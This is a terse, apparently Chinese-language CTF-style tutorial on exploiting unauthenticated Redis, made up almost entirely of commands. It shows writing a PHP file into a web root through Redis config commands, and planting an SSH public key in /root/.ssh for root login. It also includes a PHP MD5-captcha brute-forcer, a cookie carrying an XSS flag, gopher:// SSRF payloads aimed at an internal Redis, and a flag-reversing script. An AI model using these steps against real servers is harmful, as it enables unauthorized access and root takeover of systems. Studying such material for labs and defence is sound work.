redis未授权访问介绍

redis-server.exe redis.conf

sudo apt-get update
sudo apt-get install redis-server

redis-server

redis-cli.exe -h 192.168.107.144

redis 192.168.107.144:6379> get x
"<?php phpinfo(); ?>"

redis 192.168.107.144:6379> keys *
1) "x"

redis 192.168.107.144:6379>flushall

//设置x的值
redis 192.168.107.144:6379> set x "<?php phpinfo(); ?>"  

redis 192.168.107.144:6379> config set dbfilename test.php

redis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWW

redis 192.168.107.144:6379> save

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144
192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录
192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名

192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)

192.168.107.144:6379> save     # 保存

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

<?php
    $captcha=1;
    while(1) {
    if(substr(md5("60df5eaed35edcf0".$captcha),0,5) === "00000")
        {
            echo $captcha;
            break;
        }
        $captcha++;
}
echo "<br>".md5($captcha);
?>

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}; FLAG_2=IN_THE_REDIS

@@##@@

...


      <form action="/request.php" method="POST">
        <div class="form-group">
          <label for="url">URL</label>
          <textarea name="url" class="form-control" id="url" aria-describedby="url" placeholder="URL" rows="10"></textarea>
        </div>

        <button class="btn btn-primary">Send Request</button>
      </form>
    </div>
  </body>
</html>

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

flag="""
}
t
i
o
l
p
x
e

o
t

y
s
a
e

s
i

n
o
i
t
a
c
i
t
n
e
h
t
u
a

t
u
o
h
t
i
w

s
i
d
e
R
{
G
A
L
F
"""
result = flag[::-1]
print(result)